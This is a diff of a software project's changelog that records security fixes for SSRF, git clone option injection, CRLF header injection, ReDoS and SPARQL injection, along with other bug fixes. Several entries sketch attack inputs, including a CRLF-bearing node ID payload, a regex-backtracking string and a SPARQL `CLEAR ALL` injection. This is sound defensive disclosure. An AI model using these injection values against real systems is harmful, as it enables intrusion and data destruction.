- `FeedIngestor.ingest_feed()`, `discover_feeds()` (link-tag fetch, common-path HEAD probe, and feed-validation GET), and `FeedMonitor.check_updates()` all called `requests.get()`/`requests.head()` directly with default redirect-following and no scheme allowlist or private/loopback/link-local IP validation — despite `semantica/ingest/ssrf.py`'s `request_with_ssrf_guard()` already existing and being used by `web_ingestor.py`/`api_ingestor.py`. `ingest_feed()`'s own URL check only verified `urlparse(url).scheme`/`.netloc` were non-empty, never that the scheme was http/https or that the resolved target IP was safe. Reachable via the public `ingest_feed()`/`ingest()` entry points with any caller-supplied feed URL
|
||||
- All 5 call sites now route through `request_with_ssrf_guard()`, which validates scheme (http/https only) and resolved IP before the request, and re-validates every redirect `Location` before following it — closing both the direct-IP and redirect-chain SSRF paths. Added an `allow_private_ips` config option to both `FeedIngestor` and `FeedMonitor`, consistent with the other ingestors
|
||||
- **Fixed during review** (Qodo): `test_discover_feeds_empty` mocked `requests.get`, which no longer executes now that the code path goes through `request_with_ssrf_guard()` (backed by `requests.request`) — the test was passing without exercising the real code. Corrected to mock `requests.request` and `socket.getaddrinfo`
|
||||
- `pytest tests/ingest/test_feed_ingestor.py`: 12/12 passed. Independently reproduced the issue's own PoC (`FeedIngestor().ingest_feed("http://127.0.0.1:8765/feed.xml")` against a live local server) and confirmed it now raises `ValidationError` instead of succeeding
|
||||
- **Known limitation carried over from `discover_feeds()`'s pre-existing design**: its common-path and feed-validation loops use a blanket `except Exception: continue`, which now also silently absorbs `ValidationError` from a blocked candidate URL the same way it already absorbed network failures — the request is still correctly blocked before reaching the network, so this is not an SSRF bypass, just a missed opportunity to log "blocked as SSRF target" distinctly from "unreachable"
|
||||
|
||||
- **`RepoIngestor` clone surface hardened against GitPython URL/option injection** (#905, closes #868) by @pravit-amp
|
||||
- `RepoIngestor.ingest_repository()` passed the caller-supplied repository URL and arbitrary `**options` straight through to `git.Repo.clone_from()` on a `GitPython>=3.1.50` floor predating hardening for `ext::`-style transport helpers and `$VAR`/`${VAR}` environment-variable expansion in clone URLs — unvalidated clone options (`upload_pack`, `multi_options`, `template`, `config`, `env`, ...) could be abused for command execution, and unvalidated hostnames allowed SSRF against internal services (e.g. cloud metadata endpoints)
|
||||
- `GitPython` floor raised to `>=3.1.58`
|
||||
- Clone options passed to `clone_from()` are now allowlisted to `{depth, branch, single_branch, no_tags}`; anything else raises `ValidationError` before the clone is attempted
|
||||
- Repository URLs are validated before cloning: scheme allowlist (`https`, `http`, `git`, `ssh`), rejection of `$VAR`/`${VAR}` tokens, and hostname resolution with every returned address screened against private/loopback/link-local/unspecified ranges. scp-like SSH remotes (`user@host:path`) are recognized and normalized to `ssh://` before the clone call
|
||||
- **Fixed during review** (@Sameer6305): the SSRF check originally used `ip.is_reserved`, which flags the NAT64 Well-Known Prefix (`64:ff9b::/96`, RFC 6052) as reserved — falsely blocking `github.com` and other public hosts on IPv6-only/dual-stack networks using NAT64. Narrowed the block list to private/loopback/link-local/unspecified only
|
||||
- **Fixed during review** (@Sameer6305): local filesystem repository paths (`git clone /path/to/local/repo`) were being treated as remote URLs and rejected outright; local paths now bypass network validation entirely since they make no network requests and carry no SSRF risk
|
||||
- **Known limitation**: the SSRF host check does not classify RFC 6598 Carrier-Grade NAT space (`100.64.0.0/10`) as blocked — Python's `ipaddress.IPv4Address.is_private` does not cover that range, so a hostname resolving into it (e.g. some Kubernetes/CNI pod networks) would not be caught. Follow-up recommended to add it explicitly alongside the existing private/loopback/link-local checks
|
||||
- `pytest tests/ingest/test_repo_ingestor_security.py -v`: 44 passed
|
||||
|
||||
- **HTTP response header injection via `node_id`, unbounded-memory DoS in link prediction, and unsanitized imported node IDs in the Explorer** (#912) by @Sunil56224972
|
||||
- `semantica/explorer/routes/provenance.py`'s `GET /api/provenance/report` f-string-interpolated the `node_id` query parameter directly into the `Content-Disposition` response header; a `\r\n`-bearing `node_id` could inject arbitrary response headers (`Set-Cookie` session fixation, `Content-Type` override for reflected XSS). Fixed with `_safe_content_disposition_filename()`, which strips `\r`, `\n`, `\x00`, `"`, `\` and length-caps the value before interpolation
|
||||
- `POST /api/enrich/links` (link prediction) loaded up to 999,999 nodes with no cap or concurrency guard, then scored every candidate — a single request could consume ~1.6 GB RAM, and concurrent requests compounded that with no limit. Capped the candidate pool at 10,000 nodes (`413` if exceeded) and added an `asyncio.Semaphore(2)`, mirroring the SPARQL DoS fix in #898
|
||||
- `POST /api/import` stored uploaded JSON/CSV node IDs verbatim; since provenance reports reflect `node_id` into `Content-Disposition`, an attacker could upload a node with a CRLF-bearing ID once and trigger the header-injection chain above for every subsequent viewer. Added `_sanitize_import_node_id()`, applied to node and edge `source_id`/`target_id` fields on both the JSON and CSV import paths
|
||||
- **Corrected during review**: the JSON import path had a second, unsanitized branch — any uploaded node object already carrying a `"properties"` key (the shape this app's own `/api/export` produces, and already used elsewhere in the test suite) was appended to the graph as-is, bypassing `_sanitize_import_node_id()` entirely and leaving the stored-header-injection chain open via a one-line payload (`{"id": "<crlf>", "properties": {}}`). That branch now sanitizes `id` before storing
|
||||
- **Corrected during review**: the link-prediction cap checked `total` only *after* calling `session.get_nodes()`/`get_edges()`, which normalize the graph's *entire* matching node/edge set before applying `limit` — so the guard ran after the expensive work it was meant to prevent had already happened, on every request regardless of graph size. Added `GraphSession.get_raw_counts()`, an O(1) check against the raw `len(graph.nodes)`/`len(graph.edges)` collections, and moved the size check ahead of the normalizing calls
|
||||
- **Corrected during review**: 5 of the original PR's 22 regression tests asserted that literal words like `"Set-Cookie"`/`"Content-Type"` disappeared from the sanitized value — the sanitizer only strips `\r\n\x00"\\`, not letters, so those assertions failed against the PR's own fix as submitted. Corrected to assert on the property that actually blocks header injection (no `\r`/`\n` survives), and added end-to-end tests that exercise the real `/api/import` → `/api/provenance/report` route chain (not just the standalone sanitizer function) so the `properties`-key bypass has regression coverage
|
||||
- Full `explorer` suite: 241 passed; `tests/test_security_regression_pr2.py`: 30 passed
|
||||
|
||||
- **`fastapi`/`python-multipart` floors in the `explorer` extra allowed PYSEC-2024-38 (CVE-2024-24762 / GHSA-2jv5-9r88-3w3p, `python-multipart` ReDoS)** (#871, closes #869) by @agu2347
|
||||
- `explorer` declared `fastapi>=0.100.0` and `python-multipart>=0.0.6`; both floors resolve to versions carrying a ReDoS in `python-multipart`'s `Content-Type` header option parser (`parse_options_header`), reachable by any endpoint that accepts form/multipart data — an attacker-crafted header option can stall the event loop for minutes
|
||||
- **Corrected during review**: the original fix raised only `fastapi>=0.109.1`, leaving `python-multipart>=0.0.6` unchanged. `python-multipart` is declared as its own direct dependency in the `explorer` extra rather than pulled in transitively via `fastapi[all]`, so a bare `fastapi` install enforces no `python-multipart` floor at all — the vulnerable `0.0.6` could still resolve with `fastapi>=0.109.1` in place. Floors raised to `fastapi>=0.109.2` / `python-multipart>=0.0.7`, the first versions of each that exclude the vulnerable range
|
||||
- **Fixed along the way**: the `Security` workflow's `pip-audit` job ran only on a weekly schedule with `continue-on-error: true`, against a bare Python environment with none of Semantica's optional extras installed — it would never have seen `fastapi`/`python-multipart` regardless of which floor was pinned. `security-scan.yml`'s Safety check has the same blind spot (`pip install -e ".[llm-litellm]"` only, never `[explorer]`). `pip-audit` now also runs on `pull_request` when `pyproject.toml` changes, installs `semantica[all]`, and fails the build on any finding for that trigger; the schedule/`workflow_dispatch` runs stay non-blocking pending a full pass over any pre-existing findings across the whole `[all]` tree
|
||||
- **Caught by the new gate on its first run**: `python -m pip install -e ".[all]"` pulled in `setuptools==79.0.1`, vulnerable to CVE-2026-59890/GHSA-h35f-9h28-mq5c/PYSEC-2026-3447 (Unicode-normalization bypass of `MANIFEST.in` exclude/prune patterns on macOS APFS/HFS+, letting excluded files leak into a built sdist), fixed in `83.0.0`. `[build-system] requires` had the exact same too-permissive-floor pattern this whole entry is about (`setuptools>=61.0`), and `actions/setup-python`'s baked-in `setuptools` isn't governed by that pin at all since it's outside any isolated build. Bumped `[build-system] requires` to `setuptools>=83.0.0`, and the `Security` workflow now runs `pip install --upgrade pip setuptools` before auditing so the scanned environment can't have a stale ambient copy regardless of what governs it
|
||||
- Full `explorer` suite: 241 passed
|
||||
|
||||
## [0.6.5] - 2026-08-11
|
||||
|
||||
### Added
|
||||
|
||||
- **Embedded Oxigraph backend for `TripletStore`** (#838, closes #834) by @Linxiushen
|
||||
- Added `OxigraphStore` (`semantica/triplet_store/oxigraph_store.py`), an in-process SPARQL 1.1 store via the optional `pyoxigraph` dependency — no external server (Blazegraph/Jena/RDF4J/Anzo) required, fixing the confusing plain connection-error failure `TripletStore` previously produced with no server running (no local Docker daemon, no Java, CI, or a fresh laptop)
|
||||
- Runs fully in memory by default, or persists to a local directory via `TripletStore(backend="oxigraph", path=...)`; reopening the same directory resumes existing data
|
||||
- Full CRUD, native batch loading (`Store.extend`), named-graph scoping (`graph=` on add/query), and SPARQL SELECT/ASK/CONSTRUCT/DESCRIBE result mapping matching the existing backend contract; reuses `sparql_escaping.py` for datatype-IRI resolution instead of reimplementing it, and preserves RDF literal datatype/language metadata across writes, reads, and query results
|
||||
- New optional `semantica[tripletstore-oxigraph]` extra (`pyoxigraph>=0.5.0`), included in the `all` extra; the import is lazy, so `TripletStore` and the rest of Semantica keep working without `pyoxigraph` installed
|
||||
- Wired into `TripletStore` (`backend="oxigraph"`, added to `SUPPORTED_BACKENDS` and `NAMED_GRAPH_CAPABLE_BACKENDS`) and exported from `semantica.triplet_store`; README, module reference, glossary, and usage guide updated with install/configuration examples
|
||||
- **Fixed along the way**: a missing `pyoxigraph` install surfaced as a generic wrapped `ProcessingError` instead of the underlying `ImportError` and its install hint, because `TripletStore._initialize_store_backend()`'s broad `except Exception` caught and rewrapped it; `ImportError` is now re-raised as-is so the `pip install "semantica[tripletstore-oxigraph]"` hint reaches the caller
|
||||
- New integration tests in `tests/triplet_store/test_oxigraph_store.py` covering persistence/reopen, named-graph isolation, SELECT/ASK/CONSTRUCT result shapes, and the missing-dependency error message; skipped automatically when `pyoxigraph` isn't installed, and not yet exercised in CI since it doesn't install the optional extra or run the Python test suite
|
||||
|
||||
- **PROV-O trust blockers and general spec completeness for `ProvenanceManager`** (#825) by @KaifAhmad1
|
||||
- **Invalidation instead of hard delete**: new `ProvenanceManager.invalidate(entity_id, agent_id, reason=None)` tombstones an entry — archives its pre-invalidation state under a stable versioned key, then appends the invalidated entry (`invalidated`, `invalidated_at_time`, `invalidated_by`, `invalidation_reason`) — instead of mutating or deleting it, so an audit can prove a fact existed, was reviewed, and was retracted. `ProvenanceManager.clear()` remains the bulk dev/test store-reset utility it always was; it was not repurposed
|
||||
- **Hash-chained integrity**: every entry now carries `sequence_id`/`previous_checksum`, chaining it to the entry immediately before it in insertion order. New `ProvenanceManager.verify_chain()` walks the chain and reports any break, including a row hard-deleted directly from the underlying table — something a lone per-row SHA-256 checksum can never detect on its own. `compute_checksum()` now also covers `agent_id`/`agent_type`, the lineage-link fields, and the invalidation fields, closing several fields that previously weren't tamper-evident
|
||||
@@ -209,54 +60,6 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0
|
||||
|
||||
### Fixed
|
||||
|
||||
- **`PipelineWithProvenance` raised `ModuleNotFoundError` on import and `AttributeError` on `.run()`** (#858, closes #858) by @Karunasagar12
|
||||
- `from .pipeline import Pipeline` failed because `semantica/pipeline/pipeline.py` does not exist; corrected to `from .pipeline_builder import Pipeline`
|
||||
- `.run()` called `self._pipeline.run()` on the `Pipeline` dataclass, which has no such method; replaced with `self._engine.execute_pipeline(self._pipeline, ...)` delegating to `ExecutionEngine`
|
||||
- Constructor now accepts a built `Pipeline` instance (from `PipelineBuilder.build()`) instead of `**config`; the old `Pipeline(**config)` internal construction was invalid and never functional
|
||||
- Replaced deprecated `datetime.utcnow()` with `datetime.now(timezone.utc)` in `run()`
|
||||
|
||||
- **`VectorStore.search_vectors()` returned inconsistent result shapes across backend implementations** (#853, closes #845) by @Sameer6305, reviewed by @KaifAhmad1
|
||||
- Every built-in backend (FAISS, Milvus, pgvector, Pinecone, Qdrant, SQLite-vec, Weaviate, in-memory) now returns the same canonical `SearchResult` shape (`id`, `score`, `metadata`, `vector`, `distance`), instead of some backends omitting `vector`/`metadata`/`distance` or, for Weaviate, returning a backend-specific `properties` key instead of `metadata`
|
||||
- Added a `SearchResult` `TypedDict` (`semantica/vector_store/vector_store.py`, exported from `semantica.vector_store`) documenting the contract; `metadata` now always defaults to `{}` rather than being absent, and `id` accepts `Union[str, int]` to accommodate Milvus/Qdrant's native integer IDs without casting
|
||||
- **Review fix**: the score-normalization formula added for Pinecone and Qdrant (`1.0 / (1.0 + max(0.0, 1.0 - score))`) clamped every raw score `>= 1.0` to an identical `1.0`, silently collapsing result ranking whenever the raw score could exceed 1 — which happens routinely for dot-product-metric indexes (unbounded), as opposed to cosine (bounded to `[-1, 1]`). Replaced with `(score / (1 + |score|) + 1) / 2`, which is strictly monotonic and bounded in `(0, 1)` for any real input, so ranking order is preserved regardless of metric or vector normalization
|
||||
- Added `test_qdrant_unbounded_dot_product_scores_preserve_ranking` and `test_pinecone_unbounded_dotproduct_scores_preserve_ranking` (`tests/vector_store/test_search_result_schema.py`) asserting normalized scores stay strictly ordered and bounded for raw scores well above 1.0, the case the original formula silently collapsed and the existing tests (which only used scores `< 1`) never exercised
|
||||
- Left out of scope, per the original PR: Weaviate's `similarity_search()` still isn't wired into `VectorStore.search_vectors()`'s backend dispatch; Milvus's collection schema still has no metadata column so its results always return `metadata: {}`; and `include_vectors` support (populating the `vector` field) is not yet implemented for any backend
|
||||
|
||||
- **`DecisionEmbeddingPipeline.find_similar_decisions()` crashed with `AttributeError` for any `VectorStore` backend other than `inmemory`** (#842, closes #839) by @Sameer6305
|
||||
- `_get_candidate_embeddings()` iterated `VectorStore.vectors`/`VectorStore.metadata` directly, internal dicts only populated for `backend="inmemory"`; every persistent backend (FAISS, Pinecone, Qdrant, Milvus, ...) raised `AttributeError`. It now fetches candidates via the backend-agnostic `VectorStore.search_vectors()`, reading metadata via a `res.get("metadata") or res.get("payload")` fallback for backends that key it differently
|
||||
- Backends such as FAISS don't return the raw vector for each hit; `find_similar_decisions()` and `_find_semantic_similar()` now fall back to the search-provided score (normalized from `distance` when present) as the semantic similarity for those candidates instead of computing cosine similarity against a zero placeholder vector
|
||||
- `get_decision_statistics()` had the identical bug iterating `store.metadata.values()`; it now returns a limited stats payload with an explanatory `warning` field for backends that don't expose a full in-memory metadata dict, instead of crashing
|
||||
- **Fixed along the way**: `_get_candidate_embeddings()`'s expand-and-retry loop (which widens the search pool when post-filtering leaves too few matches) discarded every candidate it had found once the pool hit its cap (`limit * 10`) without ever collecting `limit` matches or getting a short page back from the backend — the loop fell through without executing the branch that assigns results, silently returning `[]` even when matching candidates existed. It now falls back to the last batch collected instead of dropping it
|
||||
- Added end-to-end regression tests against real `inmemory` and `faiss` backends (no mocks) plus a targeted unit test for the expand-and-retry loop's fallback behavior
|
||||
|
||||
- **`QdrantStore.search_vectors()` returned results keyed by `"payload"` instead of `"metadata"`** (#841, closes #840) by @divyankshah
|
||||
- `QdrantCollection.search_points()` built its result dicts as `{"id", "score", "payload"}`, while `PineconeStore.search_vectors()` and every other backend consumed by `HybridSearch` use `"metadata"`. This silently dropped Qdrant metadata from results and made `HybridSearch.filter_by_metadata()` reject every candidate whenever a filter was applied, since it looks up `result["metadata"]` and got nothing back
|
||||
- Normalized `search_points()` to return `"metadata"` instead of `"payload"`, matching the existing convention; no other module reads the old key, so the rename is a straight fix rather than a partial one
|
||||
- Extended `tests/vector_store/test_vector_store_deepdive.py::test_qdrant_store` to assert the returned key is `"metadata"` (not `"payload"`) and that `HybridSearch.filter_by_metadata()` correctly matches against Qdrant results end-to-end
|
||||
|
||||
- **Explorer Temporal panel never rendered after clicking the toolbar button** (#830, #836) by @Sameer6305
|
||||
- The panel stayed permanently stuck on "Loading temporal…" in `npm run dev`, with repeating "Maximum update depth exceeded" errors in the browser console. Two independent render loops were responsible:
|
||||
- **Diagnostics state churn**: `handleDiagnosticsChange` unconditionally called `setGraphDiagnosticsState` on every invocation. `buildEffectAvailability` (inside `GraphCanvas`'s diagnostics `useEffect`) always returns a new object, so each call scheduled a re-render that immediately retriggered the effect. Fixed by comparing the incoming snapshot field-by-field against the last accepted value via `lastDiagnosticsRef` before calling `setState`
|
||||
- **scrubberTime churn**: React 18 concurrent mode re-ran `TimelinePanel`'s `useEffect` with a structurally-new `Date` object for the same timestamp when speculative renders discarded `useMemo` caches, causing repeated `setScrubberTime` calls that propagated into `temporalState` churn and retriggered the diagnostics effect. Fixed by deduplicating by millisecond value via `onTimeChange`/`lastScrubberMsRef`
|
||||
- **Bonus**: `temporal-overlay`'s `shouldLoad` predicate was changed to gate strictly on `panelState["temporal-panel"]`, removing the `|| temporalState?.currentTime` branch that caused eager loading on every scrubber update and continuously cancelled in-flight `load()` completions
|
||||
- **Bonus**: `temporalState` removed from the plugin-loading `useEffect` dependency array; predicates extracted into `pluginRegistryPredicates.ts` and wired through `GraphWorkspace.tsx` so regression tests exercise the production code rather than a local copy
|
||||
- The `scrubberTime`-churn fix was also applied to the equivalent (but currently unused/unmounted) `GraphWorkspaceShell.tsx`, which shares the same `TimelinePanel` integration pattern but does not have the diagnostics-churn code path
|
||||
- **Follow-up review fix**: the diagnostics dedup's `structureLayer` comparison now also covers `disabledReason`, `curveCount`, `bridgeCurveCount`, and `backboneCurveCount` (previously only `cacheKey`/`lastDrawAt`/`enabled` were compared, so a pure `disabledReason` transition could leave the dev-only diagnostics panel stale)
|
||||
- **Follow-up review fix**: `test:graph-store`, `test:graph-workspace`, and the new `test:plugin-registry` regression test are now run in CI (`.github/workflows/ci.yml`) — previously none of the Explorer frontend's `node --test` suites executed anywhere in CI, only `npm run build`, so this fix's own regression coverage (and all prior frontend test coverage) provided no protection against silent regressions
|
||||
- **`HybridSearch.search()` crashed with `AttributeError` for any `VectorStore` backend other than `inmemory`** (#833, #837) by @KaifAhmad1
|
||||
- `HybridSearch.search()` read `self.vector_store.vectors` directly, an internal dict `VectorStore` only populates for `backend="inmemory"`; every other backend (faiss, weaviate, qdrant, milvus, pinecone, pgvector, sqlite) raised `AttributeError`, making `HybridSearch` unusable against any real store. It now delegates to `VectorStore.search_vectors()` (the backend-agnostic public API) for non-inmemory backends, applies `metadata_filter` as a post-filter over the returned candidates, and normalizes results to a consistent `{id, score, distance, metadata}` shape
|
||||
- **Fixed along the way**: `vector_ids` could stay `None` when callers passed explicit `vectors`/`metadata` without `vector_ids`, crashing downstream list indexing — now defaulted to generated positional IDs
|
||||
- **Fixed along the way**: a `query_vector` passed as a plain list crashed backend stores (e.g. `FAISSStore.search_similar`) that call `.ndim` on it — now normalized to a numpy array up front
|
||||
- **Fixed along the way**: `VectorStore.store_vectors()` silently dropped metadata for FAISS (and any `add_vectors`-only backend) because it called `add_vectors(vectors, **options)` without forwarding `metadata`, even though `FAISSStore.add_vectors()` accepts it — this blocked `HybridSearch`'s metadata filtering from ever matching anything on FAISS
|
||||
- **Follow-up review fixes**: the legacy `top_k` kwarg was read but left in `options`, then forwarded via `**options` into `VectorStore.search_vectors()`, colliding with backends (sqlite, pgvector) that pass an explicit `top_k=k` to their own `search()` and raising `TypeError: got multiple values for keyword argument 'top_k'` — now popped instead of just read; `VectorStore.search_vectors()`'s dispatch only recognized backend methods named `search`/`search_similar`, so delegation still hit `NotImplementedError` for qdrant/milvus/pinecone, which name their method `search_vectors()` with a differently-named count parameter (`limit` vs `k`) — added a third dispatch branch that binds the count positionally so it works regardless of the backend's parameter name; a missing `distance` in backend-delegated results defaulted to the raw `score`, silently reusing the local path's cosine-similarity convention (`distance = 1 - score`) even for backends using unrelated metrics (L2, inner product) — now left as `None` instead of a fabricated, metric-inconsistent value
|
||||
- Verified across all 7 supported backends: `inmemory`/`faiss`/`sqlite` work live end-to-end; `pgvector`'s dispatch reaches `PgVectorStore.add()`/`.search()` (blocked only by no Postgres server in the verification sandbox); `qdrant`/`milvus`/`pinecone` now reach their real `search_vectors()` method instead of crashing, though their storage side (`store_vectors()`) still doesn't recognize `insert_vectors`/`upsert_vectors`, and `weaviate` remains entirely unwired (`add_objects`/`query_vectors`) on both sides — both are separate, pre-existing gaps independent of this fix, left for a follow-up
|
||||
|
||||
- **`VectorStore.store_vectors()` silently dropped metadata for FAISS (and any `add_vectors`-only) backend** (#832, #835) by @KaifAhmad1
|
||||
- `store_vectors()` fell into a branch that called `self._backend_store.add_vectors(vectors, **options)` without `metadata` whenever the backend exposed `add_vectors()` but neither `add()` nor `store_vectors()` — true for `FAISSStore`, the backend most real usage configures for genuine ANN search. Every caller that stores vectors with metadata (e.g. `AgentMemory._store_memory_vector()`, used internally by `AgentContext.store()`) lost that metadata once it reached FAISS, with no error or warning
|
||||
- Downstream, `ContextRetriever._retrieve_from_vector()` recovers a result's text via `metadata.get("content", "")`, which was always `""` for any vector stored this way; `_rank_and_merge()` then embedded that empty string, tripping `TextEmbedder.embed_text()`'s empty-text rejection and masking the real bug as a spurious `TextEmbedder` failure recorded by the progress tracker
|
||||
- `store_vectors()` now forwards `metadata` to `add_vectors()`, but only when the backend's `add_vectors()` signature actually accepts it (checked via `inspect.signature`, accepting either an explicit `metadata` parameter or a `**kwargs` catch-all), so a future/custom backend with a stricter signature raises no `TypeError`
|
||||
- **Follow-up review fix**: the `inspect.signature()` probe is wrapped in `try/except (ValueError, TypeError)`, consistent with the identical pattern already used in `ProvenanceManager.trace_lineage()`, so signature introspection failing on an unusual callable can no longer abort `store_vectors()` before it even attempts to call the backend
|
||||
|
||||
- **`AgnoDecisionKit.check_policy` silently treated unevaluable policy rules as compliant** (#778, #822) by @Sameer6305
|
||||
- `_eval_rule()` previously `return`ed `True` when a rule referenced a field missing from the decision payload, or when the rule string didn't match the expected `<field> <op> <value>` format — the docstring's claim that exceptions never silently return `compliant=True` didn't cover this, since neither path raised
|
||||
- Both cases now raise `ValueError` instead, which routes through `check_policy`'s existing exception handler and records a `warnings` entry (e.g. `"Could not evaluate rule 'minimum_score >= 0.9': rule references undefined field 'minimum_score'"`) instead of disappearing with no signal
|
||||
@@ -390,57 +193,6 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0
|
||||
|
||||
### Security
|
||||
|
||||
- **DNS check-then-use hardening for the ontology URL fetcher, and a remaining object-IRI validation gap** (#916, follow-up to GHSA-8c7v-62gr-hj6g and GHSA-8vgg-8mr4-r236) by @KaifAhmad1
|
||||
- **DNS check-then-use (TOCTOU) window**: GHSA-8c7v-62gr-hj6g's own fix description flagged this as a secondary gap — `_validate_fetch_url()` resolved and validated a hostname once, but `_fetch_url_sync()` then let `requests` resolve the same hostname again independently at connect time. A low-TTL or rebinding DNS answer could differ between the two lookups, reopening the SSRF window the validation exists to close
|
||||
- `_validate_fetch_url()` now returns the validated IP, and a new `_make_pinned_session()` builds a per-hop `requests.Session` whose connection pool is pinned directly to that IP — bypassing DNS resolution for the connection entirely — while explicitly restoring the real hostname as the outgoing HTTP `Host` header and, for HTTPS, the TLS SNI `server_hostname`/`assert_hostname`, so the connection reaches the validated IP but still presents (and is verified against) the real hostname's identity, keeping virtual hosting and certificate validation correct
|
||||
- Caught during implementation: an earlier draft set urllib3's `_dns_host` post-construction, assuming (as in some urllib3 releases) that it was decoupled from `host`. In the version this project installs (2.7.0), `host` is a property that reads/writes `_dns_host` directly, so that approach would have silently changed the Host header too — caught by an end-to-end test against a real local server before landing, rather than shipping. Verified with real (non-mocked) local HTTP and HTTPS servers, the latter using a generated self-signed certificate to prove SNI/cert-hostname verification checks the real hostname rather than the pinned IP, plus a negative control confirming a hostname/cert mismatch is still correctly rejected, not silently bypassed
|
||||
- **Object-IRI validation gap** (GHSA-8vgg-8mr4-r236 follow-up, distinct from the object-branch fix already shipped in #911): a triplet object already wrapped in `<...>` skipped `sparql_escaping.validate_uri()` in both `blazegraph_store.py` and `rdf4j_store.py`'s `_format_object_for_sparql`/`_format_object_for_ntriples`, only checking the inner content for a literal space or `>` — the pre-wrapped and unwrapped branches now validate identically
|
||||
- **Fixed along the way** (caught in automated review across two follow-up rounds): `_validate_fetch_url()` originally pinned to only the first resolved IP, so a hostname with multiple A/AAAA records would fail outright if that specific address was unreachable — it now returns every validated IP and `_make_pinned_session()` falls back through all of them, verified by pinning to a genuinely unreachable address followed by a working one and confirming the fetch still succeeds; the test HTTPS server allowed TLSv1/TLSv1.1 by not setting a minimum version, now pinned to TLSv1.2; and when an HTTP(S) proxy applied, pinning was silently skipped in favor of the unpinned path — proxies are now disabled outright for this fetcher (`session.trust_env = False`, so `HTTP_PROXY`/`HTTPS_PROXY` env vars are never consulted) with a fail-closed 502 backstop if a proxy is ever forced onto the session some other way, verified by pointing `HTTP_PROXY` at an address that would fail if actually used and confirming the fetch still succeeds directly
|
||||
- New `tests/explorer/test_ontology_dns_pinning.py` (12 tests: real local HTTP/HTTPS servers including 2 real-TLS checks, multi-IP fallback success/failure, and no-proxy-trust verification — gracefully skipped without the optional `cryptography` package where applicable); updated `tests/explorer/test_ontology_ssrf.py` for the new per-hop session construction; 4 new tests in `tests/triplet_store/test_sparql_injection.py` for the object-IRI fix. Full `explorer` + `triplet_store` suite: 572 passed
|
||||
|
||||
- **Missing Origin validation on the `/ws/graph-updates` WebSocket handshake** (#917, GHSA-4643-wpgq-w329) by @KaifAhmad1
|
||||
- `CORSMiddleware` doesn't cover WebSocket handshakes at all (Starlette's CORS support only wraps HTTP), so under `SEMANTICA_ALLOW_ANONYMOUS=true` — the mode `docker-compose.dev.yml` ships — the anonymous-mode key bypass accepted a `/ws/graph-updates` connection from any origin. Loopback binding isn't a boundary against a browser: any page the operator has open can still reach `ws://localhost:8000/ws/graph-updates` directly, and `ConnectionManager.broadcast` sends every `graph_mutation` to every connected socket with no per-connection scoping. Combined with `/api/import` accepting `multipart/form-data` (a CORS-safelisted content type that skips preflight), a hostile page could write to the graph over REST and read the result back over the unauthenticated WebSocket
|
||||
- Not affected: any deployment with `SEMANTICA_API_KEY` configured — the handshake already rejects without a valid key in that mode. This was an anonymous-mode-only, development-configuration exposure
|
||||
- Fix: check the handshake's `Origin` header against `app.state.explorer_settings['allowed_origins']` — the same list `CORSMiddleware` already enforces for HTTP — before the key check. A missing `Origin` (native/CLI clients, which never set the header) is still allowed through, since the browser is the only threat this closes
|
||||
- 4 new tests in `tests/explorer/test_explorer_auth.py`: hostile Origin rejected under anonymous mode; hostile Origin rejected even with a correct key (Origin is checked first, so a leaked key alone can't hijack the socket); an allowlisted Origin still connects; a missing Origin still connects. Full `explorer` suite: 226 passed
|
||||
|
||||
- **Polynomial-time ReDoS in the SPARQL route's `_PREFIX_DECL` regex** (#915, CodeQL `py/polynomial-redos`) by @Sameer6305
|
||||
- The prior pattern's trailing `\s*` overlapped with the preceding `<[^>]*>` IRI-body match on inputs containing no closing `>` (e.g. `base<` followed by thousands of `!<` repetitions), forcing the regex engine to explore every possible split between the two quantifiers — O(n²) backtracking reachable from `req.query` via `_is_read_only_query()`
|
||||
- Fixed by making the two quantifiers character-disjoint: horizontal whitespace only (`[ \t]`, never overlapping the IRI body) instead of `\s*`, and excluding CR/LF from the IRI body (`[^>\r\n]*`) so it can never span a line boundary. Independently verified: the exact pathological payload (`base<` + `!<` × 5,000/20,000) scales linearly (0.238ms → 0.841ms for 4x input, not the ~16x a surviving quadratic blowup would show)
|
||||
- Added `_SPARQL_MAX_QUERY_LEN = 10_000` as defense-in-depth, checked in `execute_sparql()` before any regex work so a future pattern regression stays bounded regardless
|
||||
- Two correctness regressions raised in review were checked and did not reproduce: comment-then-prefix stripping order means an inline comment after a `PREFIX` line (`PREFIX ex: <...> # comment`) is already gone by the time `_PREFIX_DECL` runs, verified directly against the pipeline; and the allowlist's `.sub()`-based cleaning only ever affects the yes/no decision, never the query actually sent to `graph.query()` — so even the narrow case of a multi-line string literal that happens to start a line with the literal text `PREFIX` or `BASE` can only cause a legitimate query to be wrongly rejected, never let something malicious through, since rdflib's parser still gates whatever actually executes
|
||||
- 20 new/updated tests in `tests/explorer/test_sparql_route.py` and `tests/test_security_regression.py` (inline prologues, CRLF line endings, multi-line CRLF prefix chains, oversized-query rejection). 225 `explorer` + 82 SPARQL-specific tests passing
|
||||
|
||||
- **SPARQL injection via unvalidated triplet IRIs** (#911, GHSA-8vgg-8mr4-r236) by @KaifAhmad1
|
||||
- `Triplet.subject`/`.predicate` (and, in some builders, `.object`) were interpolated directly into SPARQL update/query strings in the Blazegraph and RDF4J stores, and into a SELECT filter in the Jena store. A subject containing `>` closes the `<...>` IRI token early, so the rest of the value is parsed as more SPARQL. Entity names are document text in the normal ingest pipeline, so anyone whose content gets processed could append operations like `CLEAR ALL`, running with the application's store credentials
|
||||
- Applied the existing `sparql_escaping.validate_uri` (already used by `anzo_store.py`, the one backend that was already hardened — this generalizes its approach rather than inventing a new one) at every subject/predicate/object interpolation site: `blazegraph_store.py`'s `_build_insert_data`, `_triplets_to_rdf`, `bulk_load`'s `graph` option, `get_triplets`'s filter, and `delete_triplet`; `rdf4j_store.py`'s `_triplets_to_ntriples`, `get_triplets`'s filter, and `delete_triplet`; `jena_store.py`'s `get_triplets`'s filter (the only vulnerable site there — `add_triplets`/`delete_triplet` already use rdflib's native `Graph.add`/`.remove` with `URIRef` rather than building query strings)
|
||||
- **Fixed along the way** (caught in review, by @ZohaibHassan16): `_format_object_for_sparql`'s URI branch — used when a triplet's *object* is itself a URI rather than a literal — only checked for spaces and `>` inline instead of running the same `validate_uri` check applied to subject/predicate, leaving the object position as a narrower but real gap in both Blazegraph and RDF4J. Also fixed test flakiness in `RDF4JStore`'s test fixtures, which weren't mocking `_connect()` and so were making real network calls
|
||||
